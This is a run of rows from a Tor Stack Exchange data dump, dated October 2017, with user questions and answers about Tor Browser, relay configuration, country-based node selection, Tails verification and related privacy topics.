  <row Id="15903" PostTypeId="1" CreationDate="2017-10-09T20:00:27.480" Score="0" ViewCount="2795" Body="&lt;ol&gt;&#xA;&lt;li&gt;Visit &lt;a href=&quot;https://www.facebookcorewwwi.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.facebookcorewwwi.onion&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fill out Signup form&lt;/li&gt;&#xA;&lt;li&gt;While the verification code arrives via email, the website loads the security check&lt;/li&gt;&#xA;&lt;li&gt;the Google captcha offers text or audio options. both audio and text do not load in Tor Browser &lt;a href=&quot;https://i.stack.imgur.com/VZcQo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;. Somehow I managed to open the audio captcha in a new tab, but the file is not playable in Tor Browser &lt;a href=&quot;https://i.stack.imgur.com/7opBk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;copy audio captcha link to other browser, but it's close too impossible to even understand what's being said in many of those audio captchas. When I enter the text it is not accepted&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I not a human but a computer after all? Or are those captchas just impossible to use and much too hard for the average human being?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's great that Facebook is offering that onion address. But signup seems impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VZcQo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;img src=&quot;https://i.stack.imgur.com/VZcQo.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7opBk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;&lt;img src=&quot;https://i.stack.imgur.com/7opBk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9788" LastActivityDate="2017-10-09T21:07:16.807" Title="How to solve captcha from Facebook signup process via Tor Browser?" Tags="|captcha|facebook|" AnswerCount="1" CommentCount="1" ClosedDate="2017-10-16T22:14:38.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="15904" PostTypeId="2" ParentId="15903" CreationDate="2017-10-09T21:07:16.807" Score="-1" Body="&lt;p&gt;The problem is that Tor browser's tabs are using different circuits - and that's good for anonymity. But in your case your two tabs were looking &lt;em&gt;as a different users&lt;/em&gt; for the server on the other end, so that's why and how the captcha didn't matched. Using HTTPS websites make sure you will add into your Tor configuration a 443(https) port into &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#LongLivedPorts&quot; rel=&quot;nofollow noreferrer&quot;&gt;LongLivedPorts&lt;/a&gt; list - so the circuits will not be rebuilt too soon, it also prevents such kind of problems.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-09T21:07:16.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15905" PostTypeId="2" ParentId="12893" CreationDate="2017-10-10T00:49:49.757" Score="0" Body="&lt;p&gt;If the conditions you've listed are met, then:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, they are private with at least 99% probability. Why not 100%? Well, &lt;em&gt;theoretically&lt;/em&gt; PGP encryption can be hacked one day, a person can leak/loose/disclose it's key - so all these unlucky cases are giving the remainder of 1%. There's no pure absolute in this world&lt;/li&gt;&#xA;&lt;li&gt;No, it is not 100% unobservable - &lt;em&gt;theoretically&lt;/em&gt; some email headers can give some clue or fingerprinting tokens, &lt;em&gt;but it's totally up to the email clients used on both sides&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-10T00:49:49.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15906" PostTypeId="1" CreationDate="2017-10-10T10:19:41.353" Score="1" ViewCount="180" Body="&lt;p&gt;I have looked for a relevant answer to this question and not found it, so am asking the question myself.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am asking this question because my most important motive for setting up a Tor exit relay is to help people in countries where censorship and surveillance mean that it is really difficult or dangerous for them to use the internet to discuss historical, political and religious issues, however non-violent their approach or activity.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One key background experience which explains my view of this issue is that in the 1960's I lived in a country where it was illegal for bookshops to import and sell &quot;Nineteen Eighty-Four&quot; in English by George Orwell, or any other book written by him.  It was not illegal to own a copy, or read it.  This was in Europe, but not in central, southern or eastern Europe, in case anyone is wondering.  Of course this did make me pay attention to the novel when I was lent a copy of &quot;Nineteen Eighty-Four&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any effective way that I can specify the countries where internet users can use my relay?  I would not be aiming to stop internet traffic passing through any countries, just ensuring that the users of my relay are in some countries that in my judgement have a greater need to use Tor more, rather than others that I would judge need it less.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or does the way Tor works as a system overall mean that any narrowing of the range of countries where users will use my relay will be automatically compensated for by the Tor system, so any change of this sort to my relay can have no overall effect on users, even if many other users made the same changes as those I am asking about?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do I just have to accept that helping some people to watch cat videos in a secure, private and anonymous fashion, or others to do something I would regard as rightly illegal as well as morally wrong, as the inescapable dead-weight cost of helping others to achieve the ability to discuss and learn about important issues as free adults?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can accept that there might be nothing more that I can usefully do to increase the objectives that led my to run a Tor relay, but I definitely would like to know whether that is true or not.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be useful to know the answer when other people question or challenge me about my Tor relay helping criminals to hide their nefarious activities.  &lt;/p&gt;&#xA;" OwnerUserId="19303" LastActivityDate="2017-11-09T21:32:51.253" Title="Configuring Tor to provide relays for users in specific countries" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15912" PostTypeId="2" ParentId="15906" CreationDate="2017-10-10T20:57:16.383" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there any effective way that I can specify the countries where internet users can use my relay?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, this is a really terrible and incredibly harmful idea which should &lt;em&gt;never&lt;/em&gt; be considered. Also, it would never work even if it were ever implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exit relay should not know anything about who is using their relay, otherwise this splits anonymity sets and allows for country-specific targeted attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, it is not difficult to find some proxy server in another country and then connect into the Tor network from there, fooling any attempts to do some kind of country-related filtering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, there is absolutely no link between geographic location and IP address and there are many ways to intentionally trick it to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is both harmful to users by opening them up to more targeted attacks, harmful to other users of the Tor network by splitting anonymity sets and does not work because that isn't how the internet works and even if it were how the internet works, it would be trivial to defeat.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I can accept that there might be nothing more that I can usefully do to increase the objectives that led my to run a Tor relay, but I definitely would like to know whether that is true or not.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At &lt;em&gt;best&lt;/em&gt; you can restrict your ExitPolicy, to only allow exiting to services that you deem &lt;em&gt;&quot;moral&quot;&lt;/em&gt;. This would be the way to approach the problem which is least harmful to the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It would be useful to know the answer when other people question or challenge me about my Tor relay helping criminals to hide their nefarious activities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you already covered that with the story about selling Orwell's &lt;em&gt;Nineteen Eighty-Four&lt;/em&gt; being illegal. Exactly what makes them &lt;em&gt;&quot;criminals&quot;&lt;/em&gt; commiting &lt;em&gt;&quot;nefarious activities&quot;&lt;/em&gt;? Selling the wrong book?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately we all struggle with some of the things that some users use the Tor network for and we all have different ideas about what those things are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of those things we struggle with, though, exist &lt;em&gt;with or without&lt;/em&gt; the Tor network &lt;em&gt;but&lt;/em&gt; user-friendly access to a network that allows people to read and share information anonymously does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for running a relay.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-10T20:57:16.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15915" PostTypeId="1" CreationDate="2017-10-11T18:27:43.240" Score="1" ViewCount="2393" Body="&lt;p&gt;I'm looking for the new Tails 3.2 checkums (md5, sha1, sha256, etc).&#xA;It seems that there is no way to find it in its own site. Even googling it brings not much information. So there is something I'm losing in the site, somewhere that I should search for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps: I know there are safest ways to check the iso but I just wanna use the checksum anyway.&lt;/p&gt;&#xA;" OwnerUserId="19468" LastEditorUserId="19468" LastEditDate="2017-10-11T19:07:11.010" LastActivityDate="2023-01-10T22:55:09.117" Title="Where can I find the new Tails 3.2 checksum?" Tags="|security|tails|linux|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15916" PostTypeId="2" ParentId="15915" CreationDate="2017-10-11T20:27:30.453" Score="0" Body="&lt;p&gt;Tails doesn't publish the hashes of the .iso in such a manner because it's always more secure to verify the signature. Users who are unfamiliar, unwilling or unable to use PGP are offered different means to fetch and verify the ISO through the installation guide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, there is no official place where you will be able to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Verifying the signature is the same as verifying the hash, since the signature is just a signed copy of the SHA512 hash of the .iso file, which also verifies the publisher of the hash.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-11T20:27:30.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15917" PostTypeId="2" ParentId="15790" CreationDate="2017-10-12T01:23:05.290" Score="0" Body="&lt;p&gt;No, this doesn't prevent all possible traffic correlation attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People can still perform traffic correlation attacks even if they don't own or operate the entry guard. As long as they have visibility of both ends of the connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow noreferrer&quot;&gt;Attacks On Onion Routing&lt;/a&gt; in the Tor Project FAQ.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-12T01:23:05.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15918" PostTypeId="2" ParentId="15772" CreationDate="2017-10-12T01:35:02.990" Score="1" Body="&lt;p&gt;The latest release of Orbot (available through the Google Playstore or through &lt;a href=&quot;https://f-droid.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;FDroid&lt;/a&gt; from &lt;a href=&quot;https://guardianproject.info/fdroid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Guardian Project's repo&lt;/a&gt; is based on the Firefox 52 series for Android.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are running the latest version from one of those sources, and the site still complains about the version number then either the sites user-agent detection is faulty &lt;em&gt;or&lt;/em&gt; Orfox/Firefox for Android is missing a specific feature that the site is looking for.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-12T01:35:02.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15919" PostTypeId="2" ParentId="15772" CreationDate="2017-10-12T07:15:57.280" Score="0" Body="&lt;p&gt;Well, it looks like a fingerprinting attempt: I do remember mid-1990's, when we have had GIF's like &lt;a href=&quot;https://media.giphy.com/media/Pc1abBsK9ucyQ/200.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &quot;this site is designed for xxx&quot; - there's absolutely NO REAL NEED for browser version checking nowdays: all modern browsers are standard-compliant. So the website tries to grab some info from you and/or fingerprinting you by browser's features. You better avoid using it even with the modern browsers&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-12T07:15:57.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15920" PostTypeId="1" CreationDate="2017-10-12T15:20:32.597" Score="0" ViewCount="3362" Body="&lt;p&gt;I'd like to password protect the Tor browser on my computer so that others cannot open it without a password. Is there a simple way of doing so? I am on a Mac using OSX. So far, I'm thinking the best solution might be to move Tor to a password protected folder?&lt;/p&gt;&#xA;" OwnerUserId="19472" LastEditorUserId="19472" LastEditDate="2017-10-12T15:51:39.997" LastActivityDate="2021-12-22T19:02:20.287" Title="Password protecting the Tor browser" Tags="|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15921" PostTypeId="2" ParentId="15743" CreationDate="2017-10-13T08:21:19.577" Score="0" Body="&lt;p&gt;Tor relays do not directly serve or have the ability to see what they serve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding this feature would likely cause legal problems for relay operators in many places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would also provide an increased attack surface for relays.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-13T08:21:19.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15922" PostTypeId="1" AcceptedAnswerId="15924" CreationDate="2017-10-13T15:16:01.330" Score="2" ViewCount="681" Body="&lt;p&gt;Recently I discovered that there is a tor relay in my own country. While it is a good sign it is impossible to know if the relay is by a good or a bad actor. While the same can be said of any tor relay anywhere in the world, is there a way to set preferences somewhere so tor relays from other countries are preferred over your country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do know and understand that it may (or may not) add significant latency on the connection depending upon the application I'm using, for e.g. web pages should be probably instantaneous but something like wget or any bandwidth-intensive application may take a hit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am on Debian testing/buster. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2022-12-01T12:31:31.750" Title="Is there a way in tor to tell to prefer tor relays from another country?" Tags="|configuration|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15924" PostTypeId="2" ParentId="15922" CreationDate="2017-10-14T03:45:44.563" Score="3" Body="&lt;p&gt;Well, it depends on the relay's &lt;em&gt;place&lt;/em&gt; in the chain:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Entry node&lt;/strong&gt; - yes, you can use &lt;code&gt;EntryNodes {us},{fr}&lt;/code&gt; for example, to specify the countries USA and France&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Middle node&lt;/strong&gt; - via configuration file - &lt;strong&gt;no&lt;/strong&gt;, but if using &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor control protocol&lt;/a&gt; - yes, &lt;strong&gt;physically&lt;/strong&gt; possible, but not a good idea(I'll explain it later).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exit node&lt;/strong&gt; - yes, you can use &lt;code&gt;ExitNodes {us},{fr}&lt;/code&gt; and &lt;code&gt;ExcludeExitNodes {us},{fr}&lt;/code&gt; for example, to tell to use or to avoid the nodes listed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Any node&lt;/strong&gt; - there's an &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ExcludeNodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ExcludeNodes {us},{fr}&lt;/code&gt;&lt;/a&gt; that tell Tor &lt;em&gt;to do it's best to avoid the nodes listed&lt;/em&gt; on any place, &lt;strong&gt;but there's no strict enforcement/guarantee&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If using &lt;em&gt;any&lt;/em&gt; of directives above, you &lt;strong&gt;must&lt;/strong&gt; specify &lt;code&gt;StrictNodes 1&lt;/code&gt; in your torrc config to make it actually have an effect. In a curly bracket there can also be a hash-id's of the specific nodes.&lt;/p&gt;&#xA;&lt;p&gt;About middle nodes - why are they not tweakable via config? Because it can hurt the network badly - it's really easy to implement something like &lt;code&gt;ExcludeMiddleNodes&lt;/code&gt; and &lt;code&gt;MiddleNodes&lt;/code&gt; directives, but there's a great and grave danger to the anonymity and to the whole network itself: it makes split happen, i.e. we can have 2 or more node groups that do not intersect even by middle nodes, and we have a significant simplification of almost any attack against Tor and it's users: the adversary/censor will have to &amp;quot;care about&amp;quot;/&amp;quot;look after&amp;quot; a way lower number of nodes... So - the explicit circuit construction by control protocol is the &lt;strong&gt;one and only&lt;/strong&gt; way to construct the circuit you wish with all the custom filters.&lt;/p&gt;&#xA;&lt;p&gt;The two-character country code according to ISO3166 can be used in either upper or lower case letters.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="30335" LastEditDate="2022-12-01T12:31:31.750" LastActivityDate="2022-12-01T12:31:31.750" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="15925" PostTypeId="2" ParentId="15920" CreationDate="2017-10-14T03:53:37.257" Score="0" Body="&lt;p&gt;Well, you can either use &lt;a href=&quot;https://itunes.apple.com/us/app/applocker-password-lock-apps/id1132845904?mt=12&quot; rel=&quot;nofollow noreferrer&quot;&gt;mac app locker&lt;/a&gt; or a custom applications for this task, like &lt;a href=&quot;https://www.cisdem.com/resource/password-protect-applications-on-mac.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-14T03:53:37.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15927" PostTypeId="1" CreationDate="2017-10-15T06:39:02.340" Score="0" ViewCount="306" Body="&lt;p&gt;I have been doing a bit of research and I know it is as simple as adding the &#xA;&quot;Exitnodes IP address&quot; command to the torrc file. I was just wondering if there is a publicly available list of IP addresses so that I may be able to find a better bandwidth. I am just trying to access a website to make it think I am an Argentinian user, but when I do the Exitnodes {ar} configuration, Tor connects but every website times out.&lt;/p&gt;&#xA;" OwnerUserId="19495" LastActivityDate="2022-03-24T04:06:55.803" Title="Where can I find a specific node to exit from?" Tags="|node|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15929" PostTypeId="2" ParentId="15927" CreationDate="2017-10-15T11:19:30.470" Score="0" Body="&lt;p&gt;Well, you need to elaborate a TorStatus script - like &lt;a href=&quot;https://torstatus.blutmagie.de/index.php#CustomQuery&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and filter by country. However - just a side note - check your connection, because even from out far - but to make &lt;em&gt;every&lt;/em&gt; site to time out - well, that's odd... I've never met THIS kind of situation just by itself, usually it was a bad connectivity to Tor network, i.e. ISP connection and modem/router problems. Check this part. If you'll add some details about your router/modem and connection type - I'll be able to help you further&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-15T11:19:30.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15930" PostTypeId="2" ParentId="15785" CreationDate="2017-10-15T13:56:31.683" Score="0" Body="&lt;p&gt;There is a graceful way to do this. Putting &lt;code&gt;ShutdownWaitLength 1&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt; just works.&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2017-10-15T13:56:31.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15931" PostTypeId="2" ParentId="14880" CreationDate="2017-10-15T16:00:41.037" Score="0" Body="&lt;p&gt;The communication between the two web server are not encrypted. Instead of going through the trouble of create SSL certs just use a reverse SSH connection and proxy_pass in Nginx.&lt;/p&gt;&#xA;" OwnerUserId="19502" LastActivityDate="2017-10-15T16:00:41.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15932" PostTypeId="2" ParentId="3625" CreationDate="2017-10-15T19:50:26.443" Score="0" Body="&lt;p&gt;This question is a few years old, but it came up in a search for how to do this and the answer is out of date. See this for the current state of things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://freenode.net/news/tor-online&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://freenode.net/news/tor-online&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short version: you need to use a client which supports SASL EXTERNAL and connect using that to freenodeok2gncmy.onion. Instructions for setting up SASL vary by client. I spent ~2 days trying to coerce pidgin into it before realizing that wasn't really possible; I switched to Hexchat and it took &amp;lt;2 hours (while watching a movie). Make and register the certificate as instructed on the above page, and put it in $HOME/.config/hexchat/certs/client.pem (on Unix).&lt;/p&gt;&#xA;" OwnerUserId="19504" LastActivityDate="2017-10-15T19:50:26.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15933" PostTypeId="1" CreationDate="2017-10-15T20:21:42.783" Score="0" ViewCount="4794" Body="&lt;p&gt;A couple of months ago, I was looking at a youtube video and there were some steps to make Tor secure. For example it was suggested that the users should check that pop up windows are blocked, choose never remember history, select the option warn me when sites try to install add-ons, select block reported attack sites and block reported web forgeries. Furthermore, it was suggested that the users deactivate from the No-script options Java, Adobe Flash, Microsoft Silverlight, other plugins, /, ,  and @font face. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I visited the website of Tor and looked at the security tips, &lt;a href=&quot;https://www.torproject.org/download/download.html.en#Warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download.html.en#Warning&lt;/a&gt;. &#xA;In the first tip it says &quot; It is pre-configured to protect your privacy and anonymity on the web as long as you're browsing with Tor Browser itself. Almost any other web browser configuration is likely to be unsafe to use with Tor.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that I don't have to apply any of the aforementioned changes? Is this because there was a recent update of Tor? Or the above changes do not make any difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="19506" LastEditorUserId="12737" LastEditDate="2017-10-15T23:45:34.050" LastActivityDate="2018-06-19T14:35:40.943" Title="How to configure Tor Browser to run securely?" Tags="|tor-browser-bundle|configuration|security|settings|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15934" PostTypeId="2" ParentId="15933" CreationDate="2017-10-15T23:43:26.093" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Does this mean that I don't have to apply any of the aforementioned changes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct, Tor Browser doesn't allow third party plugins, so Flash, Silverlight and other plugins won't be loaded. This sounds like they were trying to configure a non-Tor Browser browser to use Tor (&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherBrowser&quot; rel=&quot;nofollow noreferrer&quot;&gt;this is something the Tor Project explicitly recommends that you do not do&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those changes (and many more improvements) are already included in Tor Browser by default.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this because there was a recent update of Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's certainly not a recent change. For a good few years now (since they moved away from providing Tor Button as an addon, to producing the fully fledged Tor Browser) those changes haven't been required to be made.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or the above changes do not make any difference?&#xA;  They're (mostly) already there.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;How to configure Tor (Browser) to run securely?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What you can do is go to the Tor Button (Green Onion) menu and go to security settings, this will take you to a screen with a slider. The slider has 3 settings, Low, Medium and High. These settings incrementally disable potentially dangerous functionality at the expense of some more advanced web browsing features. Disabling Javascript, webfonts, JIT, SVG and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, disregard the video guide you saw, it's either many years old and no longer relevant, or recommending something that the Tor Project suggests that you don't do (for good reason). Tor Browser already provides those settings and does so in a more robust way than the steps outlined in the guide. If you want to improve your security, you can use the Security Slider to set your settings to a level that's appropriate for you.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-10-15T23:43:26.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15939" PostTypeId="1" CreationDate="2017-10-16T13:56:17.913" Score="0" ViewCount="677" Body="&lt;p&gt;This is related to &lt;a href=&quot;https://tor.stackexchange.com/questions/15922/is-there-a-way-in-tor-to-tell-to-prefer-tor-relays-from-another-country/15924?noredirect=1#comment17993_15924&quot;&gt;Is there a way in tor to tell to prefer tor relays from another country?&lt;/a&gt; where somebody named &lt;a href=&quot;https://tor.stackexchange.com/users/9291/alexey-vesnin&quot;&gt;Alexey Vesnin&lt;/a&gt; shared something about sharing the full path in your startup scripts, see &lt;a href=&quot;https://tor.stackexchange.com/questions/15922/is-there-a-way-in-tor-to-tell-to-prefer-tor-relays-from-another-country/15924?noredirect=1#comment17990_15924&quot;&gt;Is there a way in tor to tell to prefer tor relays from another country?&lt;/a&gt; but I'm confused/haven't really understood what he means by that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody elaborate ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I'm unaware what the switches &lt;code&gt;-a&lt;/code&gt;  and &lt;code&gt;-f&lt;/code&gt; are supposed to denote on the shell. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to know. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2022-04-04T12:05:25.587" Title="torrc startup scripts - a -f /full/path/to/your/fully/custom/config?" Tags="|configuration|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15946" PostTypeId="1" AcceptedAnswerId="15959" CreationDate="2017-10-17T02:40:01.840" Score="1" ViewCount="2202" Body="&lt;p&gt;I installed a Firefox addon to my Tor Browser and I need to adjust some settings in this addon for it to work properly. Yet, Tor Browser does not save my changes whenever I edit the settings through &lt;code&gt;about:addons&lt;/code&gt;. These settings do not even persist in the same session, let alone when I open a new Tor Browser process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set and save an addon's settings in Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I played around with this some and it seems that my addon's data is stored in a JavaScript file under the &lt;code&gt;browser-extension-data&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Tor Browser does everything possible to keep itself from writing to the disk... is there a way to disable that just for stuff under &lt;code&gt;browser-extension-data&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="17474" LastEditorUserId="17474" LastEditDate="2017-10-19T05:04:29.673" LastActivityDate="2017-10-19T07:12:16.003" Title="How can I save addon settings in Tor Browser?" Tags="|tor-browser-bundle|configuration|firefox|add-on|settings|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15948" PostTypeId="1" AcceptedAnswerId="15962" CreationDate="2017-10-17T11:13:24.767" Score="0" ViewCount="359" Body="&lt;p&gt;I'm experiencing video/audio playback issues on the actual version of TorBrowser installed on macOS High Sierra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's about HLS.js library:&#xA;&lt;a href=&quot;https://video-dev.github.io/hls.js/demo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://video-dev.github.io/hls.js/demo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that Firefox 52.4.1 resolve this issue.&#xA;But the current version is 52.4.0&#xA;See: &lt;a href=&quot;https://github.com/video-dev/hls.js/issues/1369&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/video-dev/hls.js/issues/1369&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any news on the next TorBrowser update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19528" LastEditorUserId="19528" LastEditDate="2017-10-17T13:57:40.457" LastActivityDate="2017-10-20T08:42:49.387" Title="TorBrowser on macOS High Sierra playback issue" Tags="|firefox|mac|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15949" PostTypeId="1" AcceptedAnswerId="15951" CreationDate="2017-10-17T13:24:31.210" Score="2" ViewCount="341" Body="&lt;p&gt;I am using a wifi connection I don't control, on a device that hasn't yet received a KRACK patch. Will Tor [1] protect my browsing data if the wifi connection is compromised? (Is there anything that won't be protected?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] and Tor Browser Bundle, or Orbot and Orfox &lt;/p&gt;&#xA;" OwnerUserId="17571" LastActivityDate="2017-10-17T22:30:16.920" Title="Does Tor protect against KRACK?" Tags="|tor-browser-bundle|orbot|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
